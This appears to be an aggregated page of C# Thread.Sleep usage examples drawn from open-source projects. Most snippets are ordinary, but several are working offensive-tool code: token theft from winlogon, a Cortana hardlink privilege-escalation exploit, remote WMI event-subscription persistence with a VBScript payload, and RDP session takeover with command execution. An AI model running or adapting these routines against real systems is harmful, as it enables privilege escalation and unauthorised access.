System.Threading.Thread.Sleep(int)

Here are the examples of the csharp api System.Threading.Thread.Sleep(int) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

11504 Examples 7

19 Source : BotMainWindow.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void generateGames()
        {
            try
            {               
                Process.Start(new ProcessStartInfo(STEAM_GAME_CONTROLLER, "botgamelist " + SteamBotController.getSteamUserID() + " " + username));
            }
            catch (Exception) { }           
            do
            {
                Thread.Sleep(2000);
            } while (!File.Exists(gameListFile));
        }

19 Source : LocalSteamController.cs
with GNU General Public License v3.0
from 00000vish

public static bool startSteam(String username, String preplacedword)
        {
            killSteam();
            if (checkForSteam())
            {
                System.Threading.Thread.Sleep(2000);
                Process proc = new Process
                {
                    StartInfo = new ProcessStartInfo
                    {
                        FileName = SteamTwoProperties.jsonSetting.steamLocation,
                        Arguments = "-login " + username + " " + preplacedword,
                        UseShellExecute = false,
                        RedirectStandardOutput = true,
                        CreateNoWindow = true
                    }
                };
                proc.Start();
                return true;
            }
            return false;
        }

19 Source : ToolWindow.xaml.cs
with GNU General Public License v3.0
from 00000vish

private void generateGames()
        {
            try
            {
                Process.Start(new ProcessStartInfo(STEAM_GAME_CONTROLLER, "gamelist"));
            }
            catch (Exception) { }
            Hide();
            do
            {
                Thread.Sleep(2000);
            } while (!File.Exists(GAME_LIST_FILE));
            Show();
        }

19 Source : FaceDancer.cs
with MIT License
from 001SPARTaN

static void Main(string[] args)
        {
            int procId;
            string file;

            if (args.Length < 2)
            {
                file = "whoami /priv";
                if (args.Length == 0)
                {
                    // If we don't have a process ID as an argument, find winlogon.exe
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                }
                else if (args[0].Contains('.'))
                {
                    procId = Process.GetProcessesByName("winlogon").First().Id;
                    if (args != null)
                    {
                        file = args[0];
                    }
                }
                else
                {
                    procId = Convert.ToInt32(args[0]);
                }
            }
            else
            {
                procId = Convert.ToInt32(args[0]);
                file = args[1];
            }
            Console.WriteLine("Stealing token from PID " + procId);

            IntPtr tokenHandle = IntPtr.Zero;
            IntPtr dupHandle = IntPtr.Zero;

            SafeWaitHandle procHandle = new SafeWaitHandle(Process.GetProcessById(procId).Handle, true);
            Console.WriteLine("Process handle: True");

            bool procToken = OpenProcessToken(procHandle.DangerousGetHandle(), (uint)TokenAccessLevels.MaximumAllowed, out tokenHandle);
            Console.WriteLine("OpenProcessToken: " + procToken);

            bool duplicateToken = DuplicateTokenEx(tokenHandle, (uint)TokenAccessLevels.MaximumAllowed, IntPtr.Zero, 
                (uint)TokenImpersonationLevel.Impersonation, TOKEN_TYPE.TokenImpersonation, out dupHandle);
            Console.WriteLine("DuplicateTokenEx: " + duplicateToken);
            WindowsIdenreplacedy ident = new WindowsIdenreplacedy(dupHandle);
            Console.WriteLine("Impersonated user: " + ident.Name);

            STARTUPINFO startInfo = new STARTUPINFO();

            PipeSecurity sec = new PipeSecurity();
            sec.SetAccessRule(new PipeAccessRule("NT AUTHORITY\\Everyone", PipeAccessRights.FullControl, AccessControlType.Allow));

            using (AnonymousPipeServerStream pipeServer = new AnonymousPipeServerStream(PipeDirection.In, HandleInheritability.Inheritable, 4096, sec))
            {
                using (AnonymousPipeClientStream pipeClient = new AnonymousPipeClientStream(PipeDirection.Out, pipeServer.ClientSafePipeHandle))
                {
                    // Set process to use anonymous pipe for input/output
                    startInfo.hStdOutput = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.hStdError = pipeClient.SafePipeHandle.DangerousGetHandle();
                    startInfo.dwFlags = STARTF.STARTF_USESTDHANDLES | STARTF.STARTF_USESHOWWINDOW;
                    // END NAME PIPE INITIALIZATION

                    PROCESS_INFORMATION newProc = new PROCESS_INFORMATION();
                    using (StreamReader reader = new StreamReader(pipeServer))
                    {
                        bool createProcess = CreateProcessWithTokenW(dupHandle, IntPtr.Zero, null, file, IntPtr.Zero, IntPtr.Zero, "C:\\Temp", ref startInfo, out newProc);
                        Process proc = Process.GetProcessById(newProc.dwProcessId);
                        while (!proc.HasExited)
                        {
                            Thread.Sleep(1000);
                        }
                        pipeClient.Close();
                        string output = reader.ReadToEnd();
                        Console.WriteLine("Started process with ID " + newProc.dwProcessId);
                        Console.WriteLine("CreateProcess return code: " + createProcess);
                        Console.WriteLine("Process output: " + output);
                    }
                    
                    CloseHandle(tokenHandle);
                    CloseHandle(dupHandle);
                }
            }
        }

19 Source : Program.cs
with MIT License
from 0ffffffffh

static void Main(string[] args)
        {
            int mpid;
            ushort mport;

            Log.Init("backend");

            Log.EnableLogType(LogType.Critical);
            Log.EnableLogType(LogType.Verbose);
            Log.EnableLogType(LogType.Info);
            Log.EnableLogType(LogType.Error);
            Log.EnableLogType(LogType.Warning);

            if (!Config.Get().IsOK)
            {
                Log.Critical("Some of required config settings missing.");
                return;
            }

            Log.DisableAll();
            Log.EnableLogType((LogType)Config.Get().LogLevel);

            Log.Info("Booting up memcached instance");

            mpid = TryGetOpt<int>("-mpid", args, 0);
            mport = TryGetOpt<ushort>("-mport", args, 0);

            if (mpid > 0 && mport > 0)
            {
                Log.Warning("Attach requested at pid: {0} and port {1}", mpid, mport);
                DataCacheInstance = Memcached.AttachExist("GeneralCache", mport, mpid);
            }
            else
                DataCacheInstance = Memcached.Create("GeneralCache", 512, 11211);

            if (Program.DataCacheInstance == null)
                Log.Critical("Memcached could not started");
            else
                Log.Info("Memcached ok");



            Init();

            Console.CancelKeyPress += Console_CancelKeyPress;

            while (running)
                Thread.Sleep(10);

            Uninit();

            Console.WriteLine("All resources released. press any key to exit");

            Log._Finalize();

            Console.ReadKey();
            Environment.Exit(0);
        }

19 Source : Program.cs
with MIT License
from 0ffffffffh

[STAThread]
        static void Main(string[] args)
        {
            bool enableWatchdog;
            
            Log.Init("sbmon");
            
            
            Log.EnableAll();
            int backendPid,memcachedPid;
            
            var opts = Helper.ParseOptions(string.Join(" ", args));

            talk = new InternalTalk(false);

            backendPid = GetVal<int>(opts, "-backend", 0);
            memcachedPid = GetVal<int>(opts, "-memcached", 0);
            MEMCACHED_PORT = GetVal<ushort>(opts, "-mport", 0);
            enableWatchdog = GetVal<bool>(opts, "-watchdog", true);
            
            if (backendPid==0 && memcachedPid==0)
            {
                Log.Critical("There are no pids supplied to monitor");
                return;
            }

            if (!InstanceCheck())
            {
                return;
            }

            if (enableWatchdog)
            {
                watchdog = new Watchdog();
                watchdog.Start();
            }
            else
            {
                Log.Warning("Watchdog disabled.");
            }

            if (backendPid > 0)
                new HealthMonitor(backendPid, HealthMonitor.ProcessType.BackendProcess
                    ,RecoverPolicy.RecoverBackendAndPreplacedExistedMemcachedInstance).Start();

            if (memcachedPid > 0)
                new HealthMonitor(memcachedPid, HealthMonitor.ProcessType.MemcachedProcess,
                    RecoverPolicy.RecoverMemcachedAndPreplacedNewMemcachedInstance).Start();

            Console.CancelKeyPress += Console_CancelKeyPress;

            while (running)
                Thread.Sleep(10);

            if (enableWatchdog)
                watchdog.Dispose();

            talk.Stop();

            mutant.Dispose();

            Log._Finalize();

        }

19 Source : MemcachedInstance.cs
with MIT License
from 0ffffffffh

public static bool WaitUntilInstanceDestroyed(string name, TimeSpan ts)
        {
            DateTime breakTime = DateTime.Now.AddTicks(ts.Ticks);

            while (FindInstance(name) != null)
            {
                if (DateTime.Now >= breakTime)
                    return false;

                Thread.Sleep(100);
            }

            return true;
        }

19 Source : RequestBridge.cs
with MIT License
from 0ffffffffh

private static void RequestWaiter(object o)
        {
            NamedPipeServerStream nps = null;
            
            while (active)
            {
                nps = CreatePipe();

                if (nps == null)
                {
                    Thread.Sleep(1000);
                    continue;
                }

                try
                {
                    nps.WaitForConnection();

                    if (!active)
                    {
                        nps.Close();
                        nps.Dispose();
                        nps = null;
                    }
                }
                catch (Exception e)
                {
                    Log.Warning("pipe connection wait aborted. {0}", e.Message);
                    nps = null;
                }

                if (nps != null)
                    RegisterRequestReceiver(nps);

            }

            Log.Verbose("Pipe connection waiter Tid#{0} closed.", Thread.CurrentThread.ManagedThreadId);

        }

19 Source : JobBars.cs
with GNU Affero General Public License v3.0
from 0ceal0t

public void Dispose() {
            ReceiveActionEffectHook?.Disable();
            ActorControlSelfHook?.Disable();
            IconDimmedHook?.Disable();

            Thread.Sleep(500);

            ReceiveActionEffectHook?.Dispose();
            ActorControlSelfHook?.Dispose();
            IconDimmedHook?.Dispose();

            ReceiveActionEffectHook = null;
            ActorControlSelfHook = null;
            IconDimmedHook = null;

            PluginInterface.UiBuilder.Draw -= BuildSettingsUI;
            PluginInterface.UiBuilder.Draw -= Animate;
            PluginInterface.UiBuilder.OpenConfigUi -= OnOpenConfig;
            Framework.Update -= FrameworkOnUpdate;
            ClientState.TerritoryChanged -= ZoneChanged;

            GaugeManager = null;
            BuffManager = null;
            CooldownManager = null;
            CursorManager = null;
            IconManager = null;

            Animation.Dispose();
            IconBuilder?.Dispose();
            Builder?.Dispose();
            IconBuilder = null;
            Builder = null;

            PluginInterface = null;
            Config = null;

            RemoveCommands();
        }

19 Source : RansomNote.cs
with GNU General Public License v3.0
from 0x00000FF

private void Detect()
        {
            while (true)
            {
                if (!flag)
                {
                    var Procs = Process.GetProcessesByName("th12");

                    if (Procs.Length > 0)
                    {
                        // Open TH12.exe with PROCESS_VM_READ (0x0010).
                        _handle = OpenProcess(0x10, false, Procs.FirstOrDefault().Id);

                        if (_handle != null)
                            processStatus = true;
                    }
                }
                else
                {
                    if (IsScoreReached)
                    {
                        break;
                    }
                    
                    int bytesRead = 0;
                    byte[] _buffer = new byte[4]; // Will read 4 bytes of memory

                    /*
                     * Read Level
                     * 
                     * In TH12 ~ Undefined Fantastic Object, Level is stored in
                     * [base address] + 0xAEBD0, as 4bytes int value.
                     * 
                     */ 
                    var readLevel = ReadProcessMemory((int)_handle, 0x004AEBD0, _buffer, 2, ref bytesRead);
                    if (!readLevel)
                    {
                        flag = false;
                        continue;
                    }

                    /*
                     * Level Codes
                     * 0 - Easy; 1 - Normal; 2 - Hard; 3 - Lunatic; ? - Extra
                     * 
                     */
                    if (BitConverter.ToInt16(_buffer, 0) != 3)
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "NOT LUNATIC LEVEL!";
                        }));
                        continue;
                    }
                    else
                    {
                        ProcStatus.Invoke(new MethodInvoker(() => {
                            ProcStatus.Text = "Process Working";
                        }));
                    }

                    /*
                     * Read Score
                     * 
                     * Once level is detected as LUNATIC, 
                     * rensenWare reads score from process.
                     * 
                     * Score is stored in
                     * [base address] + 0xB0C44, as 4bytes int value.
                     * 
                     */
                    var readScore = ReadProcessMemory((int)_handle, 0x004B0C44, _buffer, 4, ref bytesRead);
                    if (!readScore)
                    {
                        flag = false;
                        continue;
                    }

                    ScoreStatus.Invoke(new MethodInvoker(() =>
                    {
                        ScoreStatus.Text = (BitConverter.ToInt32(_buffer, 0) * 10).ToString();
                    }));

                    /*
                     * One interesting thing,
                     * internally, touhou project process prints score as 10 times of original value.
                     * I don't know why it is.
                     */ 
                    if (BitConverter.ToInt32(_buffer, 0) > 20000000) // It is 20,000,000
                        IsScoreReached = true;
                    else
                        _buffer = null;
                }

                // Let CPU rest
                Thread.Sleep(100);
            }

            // Create Random Key/IV File in Desktop of Current User.
            File.WriteAllBytes(Program.KeyFilePath, Program.randomKey);
            File.WriteAllBytes(Program.IVFilePath, Program.randomIV);

            decryptProgress.Maximum = Program.encryptedFiles.Count;

            foreach (var path in Program.encryptedFiles)
            {
                try
                {
                    DecryptStatus.Invoke(new MethodInvoker(() =>
                    {
                        DecryptStatus.Text = Path.GetFileName(path);
                    }));

                    // Do Decrypt

                    decryptProgress.Value++;
                }
                catch
                {
                    continue;
                }
            }

            this.Invoke(new MethodInvoker(() => {
                MessageBox.Show("Decryption Complete!\nIf there are encrypted files exists, use manual decrypter with key/IV files saved in desktop!");
                
                ButtonManualDecrypt.Visible = true;
                ButtonExit.Visible = true;
            }));            
        }

19 Source : RCEPControl.cs
with MIT License
from 0x0ade

[RCEndpoint(true, "/shutdown", null, null, "Shutdown", "Shut the server down.")]
        public static void Shutdown(Frontend f, HttpRequestEventArgs c) {
            DateTime start = DateTime.UtcNow;

            using (f.Server.ConLock.R())
                foreach (CelesteNetConnection con in f.Server.Connections) {
                    con.Send(new DataDisconnectReason { Text = "Server shutting down" });
                    con.Send(new DataInternalDisconnect());
                }

            // This isn't perf critical and would require a heavily specialized event anyway.
            bool timeout;
            while ((timeout = (DateTime.UtcNow - start).TotalSeconds >= 3) || f.Server.Connections.Count > 0)
                Thread.Sleep(100);

            f.RespondJSON(c, new {
                Info = "OK",
                Timeout = timeout
            });
            f.Server.IsAlive = false;
        }

19 Source : Exploit.cs
with GNU General Public License v3.0
from 0x00-0x00

static void Main(string[] args)
        {

            if (args.Length < 1)
            {
                Console.WriteLine("[+] Specify a target filename");
                return;
            }

            if (!File.Exists(args[0]))
            {
                Console.WriteLine($"[+] {args[0]} not found");
                return;
            }

            if (!HasFullControl(args[0], @"NT AUTHORITY\SYSTEM"))
            {
                Console.WriteLine($@"[+] NT AUTHORITY\SYSTEM has no access to {args[0]}");
                return;
            }

            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine($@"[+] {WindowsIdenreplacedy.GetCurrent().Name} already has Full Control of {args[0]}");
                return;
            }


            if (GetCortana() == 0)
            {
                Console.WriteLine("[+] Cortana disabled");
                return;
            }

 
            string AppData = Environment.GetFolderPath((Environment.SpecialFolder.LocalApplicationData));
            string LocalState = AppData + $@"\packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState";

            Console.WriteLine($"[+] Removing {LocalState}");


            try
            {
                Directory.Delete($@"{LocalState}", true);
            }


            catch { }


            IntPtr Thread = GetCurrentThread();
            SetThreadPriority(Thread, ThreadPriority.THREAD_PRIORITY_HIGHEST);

            NtFile ntFile;
            ntFile = NtFile.Open($@"\??\{args[0]}", null, FileAccessRights.MaximumAllowed);

            Console.WriteLine("[+] Waiting to Create Hardlink");

            bool Failed = true;

            while (Failed)
            {
                try
                {

                    ntFile.CreateHardlink($@"\??\{LocalState}\rs.txt");
                    Failed = false;

                }

                catch { }
            }

            Console.WriteLine($"[+] Created Hardlink to {args[0]}");


            // Give the service some time to rewrite DACLs
            System.Threading.Thread.Sleep(2000);


            if (HasFullControl(args[0], WindowsIdenreplacedy.GetCurrent().Name))
            {
                Console.WriteLine(@"[+] You have Full Control");
            }

            else
            {
                Console.WriteLine(@"[+] Unlucky - Try again");
            }



        }

19 Source : MainActivity.cs
with Microsoft Public License
from 0x0ade

public static void SDL_Main()
		{
			if (string.IsNullOrEmpty(Instance.GamePath))
			{
				AlertDialog dialog = null;
				Instance.RunOnUiThread(() =>
				{
					using (AlertDialog.Builder dialogBuilder = new AlertDialog.Builder(Instance))
					{
						StringBuilder stringBuilder = new StringBuilder();
						stringBuilder.Append("Game not found: ").AppendLine(Game);
						foreach (Java.IO.File root in Instance.GetExternalFilesDirs(null))
						{
							stringBuilder.AppendLine();
							stringBuilder.AppendLine(Path.Combine(root.AbsolutePath, Game));
						}

						dialogBuilder.SetMessage(stringBuilder.ToString());
						dialogBuilder.SetCancelable(false);
						dialog = dialogBuilder.Show();
					}
				});

				while (dialog == null || dialog.IsShowing)
				{
					System.Threading.Thread.Sleep(0);
				}
				dialog.Dispose();
				return;
			}

			// Replace the following with whatever was in your Program.Main method.

			/*/
			using (TestGame game = new TestGame())
			{
				game.Run();
			}
			/*/
			replacedembly.LoadFrom(Instance.GamePath).EntryPoint.Invoke(null, new object[] { new string[] { /*args*/ } });
			/**/
		}

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static void Main(string[] args)
        {
            try
            {
                PrintIntro();
                GetInfo();
                GetFLPaths();
                bool go = Review();
                if (go)
                {
                    Execute();
                    System.Threading.Thread.Sleep(2000);
                    Environment.Exit(0);
                }
                if (!go)
                {
                    Console.WriteLine("\nOperation cancelled");
                    System.Threading.Thread.Sleep(2000);
                    Environment.Exit(-1);
                }
            }
            catch(Exception e)
            {
                Console.WriteLine(string.Format("ERR: {0}", e.Message));
               Environment.Exit(-1);
            }
        }

19 Source : Program.cs
with GNU General Public License v3.0
from 0x2b00b1e5

static void GetFLPaths()
        {
            string path = (string)Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Image-Line\\Shared\\Paths", "FL Studio", null);
            if(path == null)
            {
                Console.WriteLine("No FL Studio path detected!\n\n");
                Console.Write("Please enter full path to the FL Studio executable: ");
                string output = Console.ReadLine();
                System.Diagnostics.FileVersionInfo FLInf = System.Diagnostics.FileVersionInfo.GetVersionInfo(output);
                if (FLInf.ProductName != "FL Studio")
                {
                    Console.WriteLine("\n   This file doesn't appear to be a FL Studio executable...try again!");
                    GetFLPaths();
                }
                FLStudioPaths = output;
            }
            else
            {
                FLStudioPaths = path;
                Console.WriteLine(string.Format("Found FL Studio at path: {0}", path));
                Console.WriteLine("Correct? (Y/N)");
                switch (Console.ReadKey().Key)
                {
                    case ConsoleKey.Y:
                        break;
                    case ConsoleKey.N:
                        Console.Write("Please enter full path to the FL Studio executable: ");
                        string output = Console.ReadLine();
                        output.Replace("\"", string.Empty);
                        System.Diagnostics.FileVersionInfo FLInf = System.Diagnostics.FileVersionInfo.GetVersionInfo(output);
                        if (FLInf.ProductName != "FL Studio")
                        {
                            Console.WriteLine("\n   This file doesn't appear to be a FL Studio executable...try again!");
                            System.Threading.Thread.Sleep(1000);
                            GetFLPaths();
                        }
                        FLStudioPaths = output;
                        break;
                }
            }
            
        }

19 Source : Demo.cs
with MIT License
from 0xLaileb

private void fSwitchBox_random_style_CheckedChanged()
        {
            if (fSwitchBox_random_style.Checked)
            {
                new Thread(delegate ()
                {
                    int tmp_sleep = 150;
                    fButton1.Invoke((MethodInvoker)delegate { fButton1.FButtonStyle = FC_UI.Controls.FButton.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fCheckBox1.Invoke((MethodInvoker)delegate { fCheckBox1.FCheckBoxStyle = FC_UI.Controls.FCheckBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fRadioButton1.Invoke((MethodInvoker)delegate { fRadioButton1.FRadioButtonStyle = FC_UI.Controls.FRadioButton.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fProgressBar1.Invoke((MethodInvoker)delegate { fProgressBar1.FProgressBarStyle = FC_UI.Controls.FProgressBar.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fScrollBar1.Invoke((MethodInvoker)delegate { fScrollBar1.FScrollBarStyle = FC_UI.Controls.FScrollBar.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fGroupBox1.Invoke((MethodInvoker)delegate { fGroupBox1.FGroupBoxStyle = FC_UI.Controls.FGroupBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fRichTextBox1.Invoke((MethodInvoker)delegate { fRichTextBox1.FRichTextBoxStyle = FC_UI.Controls.FRichTextBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fTextBox1.Invoke((MethodInvoker)delegate { fTextBox1.FTextBoxStyle = FC_UI.Controls.FTextBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fTextBox2.Invoke((MethodInvoker)delegate { fTextBox2.FTextBoxStyle = FC_UI.Controls.FTextBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fSwitchBox_global_rgb.Invoke((MethodInvoker)delegate { fSwitchBox_global_rgb.FSwitchBoxStyle = FC_UI.Controls.FSwitchBox.Style.Random; });
                    Thread.Sleep(tmp_sleep);
                    fSwitchBox_rgb_mode.Invoke((MethodInvoker)delegate { fSwitchBox_rgb_mode.FSwitchBoxStyle = FC_UI.Controls.FSwitchBox.Style.Random; });
                }).Start();
            }
            else
            {
                new Thread(delegate ()
                {
                    int tmp_sleep = 100;
                    fButton1.Invoke((MethodInvoker)delegate { fButton1.FButtonStyle = FC_UI.Controls.FButton.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fCheckBox1.Invoke((MethodInvoker)delegate { fCheckBox1.FCheckBoxStyle = FC_UI.Controls.FCheckBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fRadioButton1.Invoke((MethodInvoker)delegate { fRadioButton1.FRadioButtonStyle = FC_UI.Controls.FRadioButton.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fProgressBar1.Invoke((MethodInvoker)delegate { fProgressBar1.FProgressBarStyle = FC_UI.Controls.FProgressBar.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fScrollBar1.Invoke((MethodInvoker)delegate
                    {
                        fScrollBar1.FScrollBarStyle = FC_UI.Controls.FScrollBar.Style.Default; fScrollBar1.OrientationValue = Orientation.Horizontal;
                    });
                    Thread.Sleep(tmp_sleep);
                    fGroupBox1.Invoke((MethodInvoker)delegate { fGroupBox1.FGroupBoxStyle = FC_UI.Controls.FGroupBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fRichTextBox1.Invoke((MethodInvoker)delegate { fRichTextBox1.FRichTextBoxStyle = FC_UI.Controls.FRichTextBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fTextBox1.Invoke((MethodInvoker)delegate { fTextBox1.FTextBoxStyle = FC_UI.Controls.FTextBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fTextBox2.Invoke((MethodInvoker)delegate { fTextBox2.FTextBoxStyle = FC_UI.Controls.FTextBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fSwitchBox_global_rgb.Invoke((MethodInvoker)delegate { fSwitchBox_global_rgb.FSwitchBoxStyle = FC_UI.Controls.FSwitchBox.Style.Default; });
                    Thread.Sleep(tmp_sleep);
                    fSwitchBox_rgb_mode.Invoke((MethodInvoker)delegate { fSwitchBox_rgb_mode.FSwitchBoxStyle = FC_UI.Controls.FSwitchBox.Style.Default; });
                }).Start();
            }
        }

19 Source : FileWrite.cs
with GNU General Public License v3.0
from 0xthirteen

static void WriteToFileWMI(string host, string eventName, string username, string preplacedword)
        {
            try
            {
                ConnectionOptions options = new ConnectionOptions();
                if (!String.IsNullOrEmpty(username))
                {
                    Console.WriteLine("[*] User credentials   : {0}", username);
                    options.Username = username;
                    options.Preplacedword = preplacedword;
                }
                Console.WriteLine();

                // first create a 5 second timer on the remote host
                ManagementScope timerScope = new ManagementScope(string.Format(@"\\{0}\root\cimv2", host), options);
                ManagementClreplaced timerClreplaced = new ManagementClreplaced(timerScope, new ManagementPath("__IntervalTimerInstruction"), null);
                ManagementObject myTimer = timerClreplaced.CreateInstance();
                myTimer["IntervalBetweenEvents"] = (UInt32)5000;
                myTimer["SkipIfPreplaceded"] = false;
                myTimer["TimerId"] = "Timer";
                try
                {
                    Console.WriteLine("[+] Creating Event Subscription {0}   : {1}", eventName, host);
                    myTimer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in creating timer object: {0}", ex.Message);
                    return;
                }

                ManagementScope scope = new ManagementScope(string.Format(@"\\{0}\root\subscription", host), options);

                // then install the __EventFilter for the timer object
                ManagementClreplaced wmiEventFilter = new ManagementClreplaced(scope, new ManagementPath("__EventFilter"), null);
                WqlEventQuery myEventQuery = new WqlEventQuery(@"SELECT * FROM __TimerEvent WHERE TimerID = 'Timer'");
                ManagementObject myEventFilter = wmiEventFilter.CreateInstance();
                myEventFilter["Name"] = eventName;
                myEventFilter["Query"] = myEventQuery.QueryString;
                myEventFilter["QueryLanguage"] = myEventQuery.QueryLanguage;
                myEventFilter["EventNameSpace"] = @"\root\cimv2";
                try
                {
                    myEventFilter.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event filter   : {0}", ex.Message);
                }


                // now create the ActiveScriptEventConsumer payload (VBS)
                ManagementObject myEventConsumer = new ManagementClreplaced(scope, new ManagementPath("ActiveScriptEventConsumer"), null).CreateInstance();

                myEventConsumer["Name"] = eventName;
                myEventConsumer["ScriptingEngine"] = "VBScript";
                myEventConsumer["ScriptText"] = vbsp;
                myEventConsumer["KillTimeout"] = (UInt32)45;

                try
                {
                    myEventConsumer.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting event consumer: {0}", ex.Message);
                }


                // finally bind them together with a __FilterToConsumerBinding
                ManagementObject myBinder = new ManagementClreplaced(scope, new ManagementPath("__FilterToConsumerBinding"), null).CreateInstance();

                myBinder["Filter"] = myEventFilter.Path.RelativePath;
                myBinder["Consumer"] = myEventConsumer.Path.RelativePath;

                try
                {
                    myBinder.Put();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in setting FilterToConsumerBinding: {0}", ex.Message);
                }


                // wait for everything to trigger
                Console.WriteLine("\r\n[+] Waiting 10 seconds for event '{0}' to trigger\r\n", eventName);
                System.Threading.Thread.Sleep(10 * 1000);
                Console.WriteLine("[+] Done...cleaning up");
                // cleanup
                try
                {
                    myTimer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing 'Timer' interval timer: {0}", ex.Message);
                }

                try
                {
                    myBinder.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing FilterToConsumerBinding: {0}", ex.Message);
                }

                try
                {
                    myEventFilter.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event filter: {0}", ex.Message);
                }

                try
                {
                    myEventConsumer.Delete();
                }
                catch (Exception ex)
                {
                    Console.WriteLine("[X] Exception in removing event consumer: {0}", ex.Message);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Exception : {0}", ex.Message));
            }
        }

19 Source : Demo.cs
with MIT License
from 0xLaileb

private void fSwitchBox_rgb_mode_CheckedChanged()
        {
            bool tmp = fSwitchBox_rgb_mode.Checked;
            new Thread(delegate ()
            {
                fButton1.Invoke((MethodInvoker)delegate { fButton1.RGB = tmp; });
                Thread.Sleep(1000);
                fCheckBox1.Invoke((MethodInvoker)delegate { fCheckBox1.RGB = tmp; });
                Thread.Sleep(1000);
                fRadioButton1.Invoke((MethodInvoker)delegate { fRadioButton1.RGB = tmp; });
                Thread.Sleep(1000);
                fProgressBar1.Invoke((MethodInvoker)delegate { fProgressBar1.RGB = tmp; });
                Thread.Sleep(1000);
                fScrollBar1.Invoke((MethodInvoker)delegate { fScrollBar1.RGB = tmp; });
                Thread.Sleep(1000);
                fGroupBox1.Invoke((MethodInvoker)delegate { fGroupBox1.RGB = tmp; });
                Thread.Sleep(1000);
                fRichTextBox1.Invoke((MethodInvoker)delegate { fRichTextBox1.RGB = tmp; });
                Thread.Sleep(1000);
                fTextBox1.Invoke((MethodInvoker)delegate { fTextBox1.RGB = tmp; });
                Thread.Sleep(1000);
                fTextBox2.Invoke((MethodInvoker)delegate { fTextBox2.RGB = tmp; });
                Thread.Sleep(1000);
                fSwitchBox_global_rgb.Invoke((MethodInvoker)delegate { fSwitchBox_global_rgb.RGB = tmp; });
                Thread.Sleep(1000);
                fSwitchBox_random_style.Invoke((MethodInvoker)delegate { fSwitchBox_random_style.RGB = tmp; });
                Thread.Sleep(1000);
                fSwitchBox_rgb_mode.Invoke((MethodInvoker)delegate { fSwitchBox_rgb_mode.RGB = tmp; });
            }).Start();
        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

private void RdpConnectionOnOnLogonError(object sender, IMsTscAxEvents_OnLogonErrorEvent e)
        {
            LogonErrorCode = e.lError;
            var errorstatus = Enum.GetName(typeof(LogonErrors), (uint)LogonErrorCode);
            Console.WriteLine("[-] Logon Error           :  {0} - {1}", LogonErrorCode, errorstatus);
            Thread.Sleep(1000);

            if(LogonErrorCode == -5 && takeover == true)
            {
                // it doesn't go to the logon event, so this has to be done here
                var rdpSession = (AxMsRdpClient9NotSafeForScripting)sender;
                Thread.Sleep(1000);
                keydata = (IMsRdpClientNonScriptable)rdpSession.GetOcx();
                Console.WriteLine("[+] Another user is logged on, asking to take over session");
                SendElement("Tab");
                Thread.Sleep(500);
                SendElement("Enter+down");
                Thread.Sleep(500);
                SendElement("Enter+up");
                Thread.Sleep(500);
                Console.WriteLine("[+] Sleeping for 30 seconds");
                Task.Delay(31000).GetAwaiter().GetResult();
                Marshal.ReleaseComObject(rdpSession);
                Marshal.ReleaseComObject(keydata);
            }
            else if (LogonErrorCode != -2)
            {
                Environment.Exit(0);
            }
        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

private void RdpConnectionOnOnLoginComplete(object sender, EventArgs e)
        {
            var rdpSession = (AxMsRdpClient9NotSafeForScripting)sender;
            Console.WriteLine("[+] Connected to          :  {0}", target);
            Thread.Sleep(1000);
            keydata = (IMsRdpClientNonScriptable)rdpSession.GetOcx();

            if (LogonErrorCode == -2)
            {
                Console.WriteLine("[+] User not currently logged in, creating new session");
                Task.Delay(10000).GetAwaiter().GetResult();
            }

            string privinfo = "non-elevated";
            if (runtype != string.Empty)
            {
                privinfo = "elevated";
            }
            Console.WriteLine("[+] Execution priv type   :  {0}", privinfo);
            Thread.Sleep(1000);

            SendElement("Win+R+down");
            Thread.Sleep(500);
            SendElement("Win+R+up");
            Thread.Sleep(1000);

            if (execwith == "cmd")
            {
                RunConsole("cmd.exe");
            }
            else if (execwith == "powershell" || execwith == "ps")
            {
                RunConsole("powershell.exe");
            }
            else
            {
                RunRun();
            }

            Thread.Sleep(1000);
            Console.WriteLine("[+] Disconnecting from    :  {0}", target);
            rdpSession.Disconnect();
        }

19 Source : Client.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

private void RunRun()
        {
            if(runtype == "taskmgr")
            {
                Console.WriteLine("[+] Running task manager");
                Thread.Sleep(500);
                SendText("taskmgr");
